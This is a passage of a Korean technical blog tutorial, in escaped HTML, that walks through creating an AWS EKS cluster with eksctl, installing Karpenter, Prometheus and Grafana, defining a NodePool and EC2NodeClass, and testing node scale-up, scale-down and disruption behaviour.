export ARM_AMI_ID=&quot;$(aws ssm get-parameter --name /aws/service/eks/optimized-ami/${K8S_VERSION}/amazon-linux-2-arm64/recommended/image_id --query Parameter.Value --output text)&quot;
export AMD_AMI_ID=&quot;$(aws ssm get-parameter --name /aws/service/eks/optimized-ami/${K8S_VERSION}/amazon-linux-2/recommended/image_id --query Parameter.Value --output text)&quot;
export GPU_AMI_ID=&quot;$(aws ssm get-parameter --name /aws/service/eks/optimized-ami/${K8S_VERSION}/amazon-linux-2-gpu/recommended/image_id --query Parameter.Value --output text)&quot;
export AWS_PARTITION=&quot;aws&quot;
export CLUSTER_NAME=&quot;${USER}-karpenter-demo&quot;
echo &quot;export CLUSTER_NAME=$CLUSTER_NAME&quot; &amp;gt;&amp;gt; /etc/profile
echo $KARPENTER_VERSION $CLUSTER_NAME $AWS_DEFAULT_REGION $AWS_ACCOUNT_ID $TEMPOUT $ARM_AMI_ID $AMD_AMI_ID $GPU_AMI_ID&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CloudFormation 스택으로 IAM Policy와 Karpenter NodeRole을 먼저 생성합니다. 이는 3분 정도 소요됩니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712214064412&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# CloudFormation 스택으로 IAM Policy, Role(KarpenterNodeRole-myeks2) 생성 : 3분 정도 소요
curl -fsSL https://raw.githubusercontent.com/aws/karpenter-provider-aws/v&quot;${KARPENTER_VERSION}&quot;/website/content/en/preview/getting-started/getting-started-with-karpenter/cloudformation.yaml  &amp;gt; &quot;${TEMPOUT}&quot; \
&amp;amp;&amp;amp; aws cloudformation deploy \
  --stack-name &quot;Karpenter-${CLUSTER_NAME}&quot; \
  --template-file &quot;${TEMPOUT}&quot; \
  --capabilities CAPABILITY_NAMED_IAM \
  --parameter-overrides &quot;ClusterName=${CLUSTER_NAME}&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Karpenter 설정이 포함된 EKS 클러스터를 생성합니다. 생성에는 약 20분 정도 소요됩니다. 클러스터에서 생성된 리소스들은 모두 Karpenter Discovery 태그가 붙어 Karpenter에서 관리할 수 있게 됩니다. 또한 도메인으로 접근할 수 있도록 externalDNS 옵션이 추가되었습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712214292793&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 클러스터 생성 : myeks2 EKS 클러스터 생성 19분 정도 소요
eksctl create cluster -f - &amp;lt;&amp;lt;EOF
---
apiVersion: eksctl.io/v1alpha5
kind: ClusterConfig
metadata:
  name: ${CLUSTER_NAME}
  region: ${AWS_DEFAULT_REGION}
  version: &quot;${K8S_VERSION}&quot;
  tags:
    karpenter.sh/discovery: ${CLUSTER_NAME}

iam:
  withOIDC: true
  serviceAccounts:
  - metadata:
      name: karpenter
      namespace: &quot;${KARPENTER_NAMESPACE}&quot;
    roleName: ${CLUSTER_NAME}-karpenter
    attachPolicyARNs:
    - arn:${AWS_PARTITION}:iam::${AWS_ACCOUNT_ID}:policy/KarpenterControllerPolicy-${CLUSTER_NAME}
    roleOnly: true

iamIdentityMappings:
- arn: &quot;arn:${AWS_PARTITION}:iam::${AWS_ACCOUNT_ID}:role/KarpenterNodeRole-${CLUSTER_NAME}&quot;
  username: system:node:{{EC2PrivateDNSName}}
  groups:
  - system:bootstrappers
  - system:nodes

managedNodeGroups:
- instanceType: m5.large
  amiFamily: AmazonLinux2
  name: ${CLUSTER_NAME}-ng
  desiredCapacity: 2
  minSize: 1
  maxSize: 10
  iam:
    withAddonPolicies:
      externalDNS: true
EOF

# eks 배포 확인
eksctl get cluster
eksctl get nodegroup --cluster $CLUSTER_NAME
eksctl get iamidentitymapping --cluster $CLUSTER_NAME
eksctl get iamserviceaccount --cluster $CLUSTER_NAME
eksctl get addon --cluster $CLUSTER_NAME&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-05 오후 4.01.16.png&quot; data-origin-width=&quot;1981&quot; data-origin-height=&quot;381&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ceoiAo/btsGnAHHnIC/cG00w45eC6SpPpzKQUs7H1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ceoiAo/btsGnAHHnIC/cG00w45eC6SpPpzKQUs7H1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ceoiAo/btsGnAHHnIC/cG00w45eC6SpPpzKQUs7H1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FceoiAo%2FbtsGnAHHnIC%2FcG00w45eC6SpPpzKQUs7H1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1981&quot; height=&quot;381&quot; data-filename=&quot;스크린샷 2024-04-05 오후 4.01.16.png&quot; data-origin-width=&quot;1981&quot; data-origin-height=&quot;381&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;네임스페이스 및 도메인을 설정하고 kube-ops-view를 설치합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712300545597&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# default 네임스페이스 적용
kubectl ns default

# 노드 정보 확인
kubectl get node --label-columns=node.kubernetes.io/instance-type,eks.amazonaws.com/capacityType,topology.kubernetes.io/zone

# ExternalDNS
MyDomain=&amp;lt;자신의 도메인&amp;gt;
echo &quot;export MyDomain=&amp;lt;자신의 도메인&amp;gt;&quot; &amp;gt;&amp;gt; /etc/profile
MyDomain=gasida.link
echo &quot;export MyDomain=gasida.link&quot; &amp;gt;&amp;gt; /etc/profile
MyDnzHostedZoneId=$(aws route53 list-hosted-zones-by-name --dns-name &quot;${MyDomain}.&quot; --query &quot;HostedZones[0].Id&quot; --output text)
echo $MyDomain, $MyDnzHostedZoneId
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/aews/externaldns.yaml
MyDomain=$MyDomain MyDnzHostedZoneId=$MyDnzHostedZoneId envsubst &amp;lt; externaldns.yaml | kubectl apply -f -

# kube-ops-view
helm repo add geek-cookbook https://geek-cookbook.github.io/charts/
helm install kube-ops-view geek-cookbook/kube-ops-view --version 1.2.2 --set env.TZ=&quot;Asia/Seoul&quot; --namespace kube-system
kubectl patch svc -n kube-system kube-ops-view -p '{&quot;spec&quot;:{&quot;type&quot;:&quot;LoadBalancer&quot;}}'
kubectl annotate service kube-ops-view -n kube-system &quot;external-dns.alpha.kubernetes.io/hostname=kubeopsview.$MyDomain&quot;
echo -e &quot;Kube Ops View URL = http://kubeopsview.$MyDomain:8080/#scale=1.5&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;노드 모니터링을 위해 새로운 터미널을 띄워 EKS Node Viewer를 실행합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712302173814&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# [터미널1] eks-node-viewer
cd ~/go/bin &amp;amp;&amp;amp; ./eks-node-viewer --resources cpu,memory&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Karpenter 설치를 위한 변수를 설정하고 echo 명령어를 통해 확인합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712302207158&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Karpenter 설치를 위한 변수 설정 및 확인
export CLUSTER_ENDPOINT=&quot;$(aws eks describe-cluster --name &quot;${CLUSTER_NAME}&quot; --query &quot;cluster.endpoint&quot; --output text)&quot;
export KARPENTER_IAM_ROLE_ARN=&quot;arn:${AWS_PARTITION}:iam::${AWS_ACCOUNT_ID}:role/${CLUSTER_NAME}-karpenter&quot;
echo &quot;${CLUSTER_ENDPOINT} ${KARPENTER_IAM_ROLE_ARN}&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Karpenter가 직접 EC2 Fleet API를 사용하므로 Service  Linked Role이 생성되어 있는지 확인합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712302361354&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# EC2 Spot Fleet의 service-linked-role 생성 확인 : 만들어있는것을 확인하는 거라 아래 에러 출력이 정상!
# If the role has already been successfully created, you will see:
# An error occurred (InvalidInput) when calling the CreateServiceLinkedRole operation: Service role name AWSServiceRoleForEC2Spot has been taken in this account, please try a different suffix.
aws iam create-service-linked-role --aws-service-name spot.amazonaws.com || true&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-05 오후 4.31.55.png&quot; data-origin-width=&quot;1538&quot; data-origin-height=&quot;84&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nmGrD/btsGoSUZFvl/CIDi0hebG3bskOqOgoAQXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nmGrD/btsGoSUZFvl/CIDi0hebG3bskOqOgoAQXk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nmGrD/btsGoSUZFvl/CIDi0hebG3bskOqOgoAQXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnmGrD%2FbtsGoSUZFvl%2FCIDi0hebG3bskOqOgoAQXk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1538&quot; height=&quot;84&quot; data-filename=&quot;스크린샷 2024-04-05 오후 4.31.55.png&quot; data-origin-width=&quot;1538&quot; data-origin-height=&quot;84&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Karpenter 설치를 위해 기존에 설치되어 있던 도커와 Helm에서 로그아웃을 해야 합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712302335564&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# docker logout : Logout of docker to perform an unauthenticated pull against the public ECR
docker logout public.ecr.aws

# helm registry logout
helm registry logout public.ecr.aws&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식문서는 Pod Identity &lt;span style=&quot;color: #333333;&quot;&gt;add-on으로&lt;/span&gt; 설치를 하지만 실습에서는 배포 시 IAM Role 에러가 발생하여 IRSA를 사용하여 설치합니다. API에서 변경된 내용이 있으니 확인하시기 바랍니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712302503018&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# karpenter 설치
helm install karpenter oci://public.ecr.aws/karpenter/karpenter --version &quot;${KARPENTER_VERSION}&quot; --namespace &quot;${KARPENTER_NAMESPACE}&quot; --create-namespace \
  --set &quot;serviceAccount.annotations.eks\.amazonaws\.com/role-arn=${KARPENTER_IAM_ROLE_ARN}&quot; \
  --set &quot;settings.clusterName=${CLUSTER_NAME}&quot; \
  --set &quot;settings.interruptionQueue=${CLUSTER_NAME}&quot; \
  --set controller.resources.requests.cpu=1 \
  --set controller.resources.requests.memory=1Gi \
  --set controller.resources.limits.cpu=1 \
  --set controller.resources.limits.memory=1Gi \
  --wait
 
# 확인
kubectl get-all -n $KARPENTER_NAMESPACE
kubectl get all -n $KARPENTER_NAMESPACE
kubectl get crd | grep karpenter

# APi 변경
v1alpha5/Provisioner &amp;rarr; v1beta1/NodePool
v1alpha1/AWSNodeTemplate &amp;rarr; v1beta1/EC2NodeClass 
v1alpha5/Machine &amp;rarr; v1beta1/NodeClaim&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그라파나를 통해 모니터링을 하기 위해 프로메테우스와 그라파나를 설치합니다. 그라파나 접속시 기존 admin 암호가 아닌 출력되는 암호로 로그인해야 합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712367533842&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#
helm repo add grafana-charts https://grafana.github.io/helm-charts
helm repo add prometheus-community https://prometheus-community.github.io/helm-charts
helm repo update
kubectl create namespace monitoring

# 프로메테우스 설치
curl -fsSL https://raw.githubusercontent.com/aws/karpenter-provider-aws/v&quot;${KARPENTER_VERSION}&quot;/website/content/en/preview/getting-started/getting-started-with-karpenter/prometheus-values.yaml | envsubst | tee prometheus-values.yaml
helm install --namespace monitoring prometheus prometheus-community/prometheus --values prometheus-values.yaml

# 그라파나 설치
curl -fsSL https://raw.githubusercontent.com/aws/karpenter-provider-aws/v&quot;${KARPENTER_VERSION}&quot;/website/content/en/preview/getting-started/getting-started-with-karpenter/grafana-values.yaml | tee grafana-values.yaml
helm install --namespace monitoring grafana grafana-charts/grafana --values grafana-values.yaml
kubectl patch svc -n monitoring grafana -p '{&quot;spec&quot;:{&quot;type&quot;:&quot;LoadBalancer&quot;}}'

# admin 암호
kubectl get secret --namespace monitoring grafana -o jsonpath=&quot;{.data.admin-password}&quot; | base64 --decode ; echo

# 그라파나 접속
kubectl annotate service grafana -n monitoring &quot;external-dns.alpha.kubernetes.io/hostname=grafana.$MyDomain&quot;
echo -e &quot;grafana URL = http://grafana.$MyDomain&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2023-05-17 오후 3.50.57.png&quot; data-origin-width=&quot;1414&quot; data-origin-height=&quot;891&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qyvrW/btsGquztanA/7gZYKOqqL8Dy8LUEIxcLd0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qyvrW/btsGquztanA/7gZYKOqqL8Dy8LUEIxcLd0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qyvrW/btsGquztanA/7gZYKOqqL8Dy8LUEIxcLd0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqyvrW%2FbtsGquztanA%2F7gZYKOqqL8Dy8LUEIxcLd0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1414&quot; height=&quot;891&quot; data-filename=&quot;스크린샷 2023-05-17 오후 3.50.57.png&quot; data-origin-width=&quot;1414&quot; data-origin-height=&quot;891&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;Create NodePool&lt;/span&gt;&lt;span style=&quot;color: #787774;&quot; data-token-index=&quot;1&quot;&gt;(구 Provisioner)&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot; data-token-index=&quot;1&quot;&gt;distruption에 설정된 옵션으로 인해 720시간이 지나면 강제로 Karpenter 노드를 삭제하고 신규 인스턴스를 생성해서 항상 최신의 워커 노드 상태를 유지할 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1712368070778&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cat &amp;lt;&amp;lt;EOF | envsubst | kubectl apply -f -
apiVersion: karpenter.sh/v1beta1
kind: NodePool
metadata:
  name: default
spec:
  template:
    spec:
      requirements:
        - key: kubernetes.io/arch
          operator: In
          values: [&quot;amd64&quot;]
        - key: kubernetes.io/os
          operator: In
          values: [&quot;linux&quot;]
        - key: karpenter.sh/capacity-type
          operator: In
          values: [&quot;spot&quot;]
        - key: karpenter.k8s.aws/instance-category
          operator: In
          values: [&quot;c&quot;, &quot;m&quot;, &quot;r&quot;]
        - key: karpenter.k8s.aws/instance-generation
          operator: Gt
          values: [&quot;2&quot;]
      nodeClassRef:
        apiVersion: karpenter.k8s.aws/v1beta1
        kind: EC2NodeClass
        name: default
  limits:
    cpu: 1000
  disruption:
    consolidationPolicy: WhenUnderutilized
    expireAfter: 720h # 30 * 24h = 720h
---
apiVersion: karpenter.k8s.aws/v1beta1
kind: EC2NodeClass
metadata:
  name: default
spec:
  amiFamily: AL2 # Amazon Linux 2
  role: &quot;KarpenterNodeRole-${CLUSTER_NAME}&quot; # replace with your cluster name
  subnetSelectorTerms:
    - tags:
        karpenter.sh/discovery: &quot;${CLUSTER_NAME}&quot; # replace with your cluster name
  securityGroupSelectorTerms:
    - tags:
        karpenter.sh/discovery: &quot;${CLUSTER_NAME}&quot; # replace with your cluster name
  amiSelectorTerms:
    - id: &quot;${ARM_AMI_ID}&quot;
    - id: &quot;${AMD_AMI_ID}&quot;
#   - id: &quot;${GPU_AMI_ID}&quot; # &amp;lt;- GPU Optimized AMD AMI 
#   - name: &quot;amazon-eks-node-${K8S_VERSION}-*&quot; # &amp;lt;- automatically upgrade when a new AL2 EKS Optimized AMI is released. This is unsafe for production workloads. Validate AMIs in lower environments before deploying them to production.
EOF

# 확인
kubectl get nodepool,ec2nodeclass&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Scale up deployment&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Karpenter가 적절한 노드의 인스턴스를 생성하고 해당 노드에 파드를 빠르게 배포하는 모습을 확인할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712369043173&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# pause 파드 1개에 CPU 1개 최소 보장 할당
cat &amp;lt;&amp;lt;EOF | kubectl apply -f -
apiVersion: apps/v1
kind: Deployment
metadata:
  name: inflate
spec:
  replicas: 0
  selector:
    matchLabels:
      app: inflate
  template:
    metadata:
      labels:
        app: inflate
    spec:
      terminationGracePeriodSeconds: 0
      containers:
        - name: inflate
          image: public.ecr.aws/eks-distro/kubernetes/pause:3.7
          resources:
            requests:
              cpu: 1
EOF

# Scale up
kubectl get pod
kubectl scale deployment inflate --replicas 5
kubectl logs -f -n &quot;${KARPENTER_NAMESPACE}&quot; -l app.kubernetes.io/name=karpenter -c controller
kubectl logs -f -n &quot;${KARPENTER_NAMESPACE}&quot; -l app.kubernetes.io/name=karpenter -c controller | jq '.'&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-06 오전 11.05.14.png&quot; data-origin-width=&quot;1184&quot; data-origin-height=&quot;484&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPmUdV/btsGq3aexTU/94q7BRWShbkPfku7SF67B0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPmUdV/btsGq3aexTU/94q7BRWShbkPfku7SF67B0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPmUdV/btsGq3aexTU/94q7BRWShbkPfku7SF67B0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPmUdV%2FbtsGq3aexTU%2F94q7BRWShbkPfku7SF67B0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1184&quot; height=&quot;484&quot; data-filename=&quot;스크린샷 2024-04-06 오전 11.05.14.png&quot; data-origin-width=&quot;1184&quot; data-origin-height=&quot;484&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-06 오전 11.04.44.png&quot; data-origin-width=&quot;1414&quot; data-origin-height=&quot;786&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Geu3K/btsGqu0ye8g/CGMzatP3MMIcn952KslkZ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Geu3K/btsGqu0ye8g/CGMzatP3MMIcn952KslkZ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Geu3K/btsGqu0ye8g/CGMzatP3MMIcn952KslkZ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGeu3K%2FbtsGqu0ye8g%2FCGMzatP3MMIcn952KslkZ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1414&quot; height=&quot;786&quot; data-filename=&quot;스크린샷 2024-04-06 오전 11.04.44.png&quot; data-origin-width=&quot;1414&quot; data-origin-height=&quot;786&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Scale down deployment&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Karpenter가 생성했던 인스턴스를 지우고 해당 노드에 있던 데몬셋들이 삭제되는 모습을 확인할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712369592566&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Now, delete the deployment. After a short amount of time, Karpenter should terminate the empty nodes due to consolidation.
kubectl delete deployment inflate &amp;amp;&amp;amp; date
kubectl logs -f -n &quot;${KARPENTER_NAMESPACE}&quot; -l app.kubernetes.io/name=karpenter -c controller&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-06 오전 11.14.27.png&quot; data-origin-width=&quot;824&quot; data-origin-height=&quot;484&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bso6Yp/btsGo7eqBvT/MRXxfKqUKFet8RJUQFOc9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bso6Yp/btsGo7eqBvT/MRXxfKqUKFet8RJUQFOc9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bso6Yp/btsGo7eqBvT/MRXxfKqUKFet8RJUQFOc9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbso6Yp%2FbtsGo7eqBvT%2FMRXxfKqUKFet8RJUQFOc9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;824&quot; height=&quot;484&quot; data-filename=&quot;스크린샷 2024-04-06 오전 11.14.27.png&quot; data-origin-width=&quot;824&quot; data-origin-height=&quot;484&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;Disruption&lt;/span&gt;&lt;span style=&quot;color: #787774;&quot; data-token-index=&quot;1&quot;&gt; (구 Consolidation)&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;882&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c4lxmt/btsGquGhKWA/bCUXNUWPrYhE9j9dYDsMZk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c4lxmt/btsGquGhKWA/bCUXNUWPrYhE9j9dYDsMZk/img.png&quot; data-alt=&quot;출처 :https://aws.amazon.com/ko/blogs/compute/applying-spot-to-spot-consolidation-best-practices-with-karpenter/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c4lxmt/btsGquGhKWA/bCUXNUWPrYhE9j9dYDsMZk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc4lxmt%2FbtsGquGhKWA%2FbCUXNUWPrYhE9j9dYDsMZk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;882&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;882&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;출처 :https://aws.amazon.com/ko/blogs/compute/applying-spot-to-spot-consolidation-best-practices-with-karpenter/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Expiration&lt;/b&gt; 만료 : 기본 720시간(30일) 후 인스턴스를 자동으로 만료하여 강제로 노드를 최신 상태로 유지합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Drift&lt;/b&gt; 드리프트 : 구성 변경 사항(NodePool, EC2NodeClass)를 감지하여 필요한 변경 사항을 적용합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Consolidation&lt;/b&gt; 통합 : 비용 효율적으로 컴퓨팅을 최적화합니다.&lt;/li&gt;
&lt;li&gt;스팟 인스턴스 시작 시 Karpenter는 AWS EC2 Fleet Instance API를 호출하여 NodePool 구성 기반으로 선택한 인스턴스 유형을 전달합니다.&lt;/li&gt;
&lt;li&gt;AWS EC2 Fleet Instance API는 시작된 인스턴스 목록과 시작할 수 없는 인스턴스 목록을 즉시 반환하는 API로, 시작할 수 없을 경우 Karpenter는 대체 용량을 요청하거나 워크로드에 대한 soft 일정 제약 조건을 제거할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
